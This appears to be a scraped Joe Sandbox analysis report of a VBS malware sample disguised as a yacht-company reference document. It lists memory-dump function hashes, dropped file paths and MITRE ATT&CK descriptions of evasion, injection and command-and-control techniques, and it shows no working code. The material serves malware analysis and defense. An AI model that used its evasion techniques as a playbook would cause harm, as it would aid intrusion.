Instruction ID: 1e3267916f65020762b2d243e34c8116bda7f9d1fac4090d81a6f51f027018bf
Opcode Fuzzy Hash: de37b1e6200a9b230e17a6db1647d4378f3f3694270fa15e3439f8769b7b5dcb
Instruction Fuzzy Hash: 38F17EB0A50215DFDB24DB58CD50FAABBB2AB84300F10C4A9D509AF791DB75ED82CF91

Function 0722A6D8 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07805fdbe221aae583caf6bcab49623b21878d5868a7540d1c9ab23d7baa5d2
Instruction ID: 738c6540ead179410673821d1e9663f9bf4e0d3cd2bbd9ad931f7d549a4e34a6
Opcode Fuzzy Hash: f07805fdbe221aae583caf6bcab49623b21878d5868a7540d1c9ab23d7baa5d2
Instruction Fuzzy Hash: 84D1A1B0B20219EFC714DB98C840B9EBBB2AF88304F21C569D9056F755CB75EC46CBA5

Function 07226F00 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b766cc6743b28b77a28a4a57b047307dd4f954fb6ecd264f4ff03885c6725d6d
Instruction ID: a5bfc6b13bc0c8d9128ba19d40fcaecbd5cb1f1fe7d23c35632c7f8dde72036a
Opcode Fuzzy Hash: b766cc6743b28b77a28a4a57b047307dd4f954fb6ecd264f4ff03885c6725d6d
Instruction Fuzzy Hash: BBA14AB1B28357EFCB258B29C8406A6BBB1EF82210F24C0ABD545CB351DB35D947D762

Function 07229840 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f66ea73a30a4aef38cc6a3641389179ca7d416eb261e330792bd2fdd39093047
Instruction ID: 4876428da4ad4f93f60302f9ccece3da4cb14437412ab1a894e3f78e1cad995d
Opcode Fuzzy Hash: f66ea73a30a4aef38cc6a3641389179ca7d416eb261e330792bd2fdd39093047
Instruction Fuzzy Hash: D5A190B4B20215EFDB18DB98C441BAABBF2AB85300F10C169D5457B755CB76EC82CBA1

Function 0722A6B9 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af3876312f972ee1e34fc06a03956ed61a41e675463a6720e623decc724b52e
Instruction ID: f69b4b3ee5960e226f505fc59d1937ca88169554a277aa5bf1cf75d6e7b0c41f
Opcode Fuzzy Hash: 9af3876312f972ee1e34fc06a03956ed61a41e675463a6720e623decc724b52e
Instruction Fuzzy Hash: CEB1BBB0A20215EFCB14DF58C840BAEBBB2AF88304F21C519D9056F755CB35EC86CBA1

Function 07229820 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c61348d8e9ca62476069f8aba3d6a0ea89a58b2be82095711622badb76b3071
Instruction ID: f17b912d60b7bae44a6022720b278eea49e7de0f351b1c471f16ea07e9e175ae
Opcode Fuzzy Hash: 6c61348d8e9ca62476069f8aba3d6a0ea89a58b2be82095711622badb76b3071
Instruction Fuzzy Hash: 86A1BFF4A20215EFDB18DB58C440BAABBB2BF89300F14C169D4457B765CB76EC82CB61

Function 07221B48 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edad571fbdd88a1a90b9d8b870e73f89043b62e107c2899778014694caa59366
Instruction ID: cb277e0bcd4262507e0fcb1dda8378a69f6fa16db3e83c2a1e40feed60edd0f6
Opcode Fuzzy Hash: edad571fbdd88a1a90b9d8b870e73f89043b62e107c2899778014694caa59366
Instruction Fuzzy Hash: 05718DB572436BAFC72546698800F7AFBA1AFC6210F14C06BD549CB392DA35D853C3A2

Function 07228796 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eeceac7f9c3cb038acc39980d11877e7f4dea374bd1a8e410890169c999f4f5
Instruction ID: d1318a5a9e13520cf0a06469b6229e6fde3489af517aeb73ad5f00f39f0c281b
Opcode Fuzzy Hash: 5eeceac7f9c3cb038acc39980d11877e7f4dea374bd1a8e410890169c999f4f5
Instruction Fuzzy Hash: BB819CB4A20216EFDB14CF98C440F6ABBB2BF84304F14C059E9059B796CB76ED42DB51

Function 07221428 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2845c1d0d8243b5fdb7e636771be930073f9aafb501d16d50c4e91d7ca254af7
Instruction ID: 74b9806618a98aaadebc1b0188f6a459591862773f9535138c163207f77d50fa
Opcode Fuzzy Hash: 2845c1d0d8243b5fdb7e636771be930073f9aafb501d16d50c4e91d7ca254af7
Instruction Fuzzy Hash: EE517FB172431BAFCF249E2C8410A6ABBB19FC2200F1480BAD446CB351DB35D863D792

Function 07222668 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb2ddf25645a0d2bc9eaafa8398ea0341a8d3f7bf7d446a9bc14dbc76c20e6d
Instruction ID: 2d6c8a211c4214157d5879f2694397b77520da730e75d209beee9089806e7fde
Opcode Fuzzy Hash: 3bb2ddf25645a0d2bc9eaafa8398ea0341a8d3f7bf7d446a9bc14dbc76c20e6d
Instruction Fuzzy Hash: CC51E1B5B20212EFDB14DA58C400B69BBE2FB85314F55806AE801AF391CB77DC42DB61

Function 07223EA4 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27002b423df9bb27ffcd72420c7e93aaf1a81683550e4860b2077ba5d9a11619
Instruction ID: e35ff8c0813ab6816590140b51524402310ce10ee0875650e9cbb2e3083e1280
Opcode Fuzzy Hash: 27002b423df9bb27ffcd72420c7e93aaf1a81683550e4860b2077ba5d9a11619
Instruction Fuzzy Hash: 0E4158F1630213EFCB24DF148840ABA7BB2EB85344F4580AAD5408B352C775CE87D761

Function 072217B0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2233ecc61f19a606cbb7f6b9af1afe4a0aeb5ff9e4f207268044e41cf285e373
Instruction ID: 430e2dcc0e059c8ea7e6c66efa7e880d5823d4fe61afa31cd359ce2472298f91
Opcode Fuzzy Hash: 2233ecc61f19a606cbb7f6b9af1afe4a0aeb5ff9e4f207268044e41cf285e373
Instruction Fuzzy Hash: CF4131B1B2023AABDB245E6988405ABF7E5AFC5610F14C52AC805D7301DF35DD12D7E3

Function 072272F0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e252438917ef318ba8ffef44d484c39a15345c27c38a7f212eaf1aafa9aa153
Instruction ID: 7b51b844bbd51c5640c3c739a4fb9a3ff483655869a282ef05219dea0af17638
Opcode Fuzzy Hash: 3e252438917ef318ba8ffef44d484c39a15345c27c38a7f212eaf1aafa9aa153
Instruction Fuzzy Hash: CF314BB0A2D366AFC72197648810556FFB5FF86210F18C49ADA84DF392C674DC03C7A2

Function 07221408 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8005ab94d6da5e8a6281763369cf72c76569b841ba8d581891678c811cec464
Instruction ID: dc93f7ccfb64c95f570c77f4bd6a771bbe04dc67b6089f20b813b467118f8ce4
Opcode Fuzzy Hash: d8005ab94d6da5e8a6281763369cf72c76569b841ba8d581891678c811cec464
Instruction Fuzzy Hash: B7313CF163432BEFCF218E198441EB6BBB1AF42610F0881E6D4068B151E734C972DBA2

Function 0722AAFE Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 924dafb077ce66bf56586a008665002bb4e9754b770e3c091a5859c530adf16b
Instruction ID: 4438754cbd4238a6c1ca3710e9d507e34a0c9bca22e36ac1ffce78136396157b
Opcode Fuzzy Hash: 924dafb077ce66bf56586a008665002bb4e9754b770e3c091a5859c530adf16b
Instruction Fuzzy Hash: 9D319270760114AFD708ABA8C850FAE7AB7ABC4704F50C425EA016F791CF76DC468BA5

Function 07221B2C Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce6652cefbba661c467087660ce8d57e48f96910c097847124a0d33d1fb3e924
Instruction ID: f1b496e604d0ba7df1434460caf668e931860e0997985ceee715b4f503ab835b
Opcode Fuzzy Hash: ce6652cefbba661c467087660ce8d57e48f96910c097847124a0d33d1fb3e924
Instruction Fuzzy Hash: A72138B562539ABFC7218B64C840EF6FFB1EF42210F1880AAD5048F652D771D863C7A2

Function 072273D4 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2565685291.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25aad01395e57784836e87d858ebaf229e52644efc9623c7efab1ff120cf507b
Instruction ID: b5658de4dd1bcdc1d9c86b65555b0a689c8d65c706b0ca6447ec833f67f3c3e3
Opcode Fuzzy Hash: 25aad01395e57784836e87d858ebaf229e52644efc9623c7efab1ff120cf507b
Instruction Fuzzy Hash: E5F0E5E451D391AFD717D720C850811BF31AF8312031D85CBC1948F2E7C5A5D843E742

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ADEX YACHTING Kft. REF HU03192025.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2bnrq3vc.ito.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2frhlsa5.ahl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3fpxib4.tsw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pgf4csuc.fqg.psm1

C:\Users\user\AppData\Roaming\daturism.Hyp

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

Windows Analysis Report
ADEX YACHTING Kft. REF HU03192025.vbs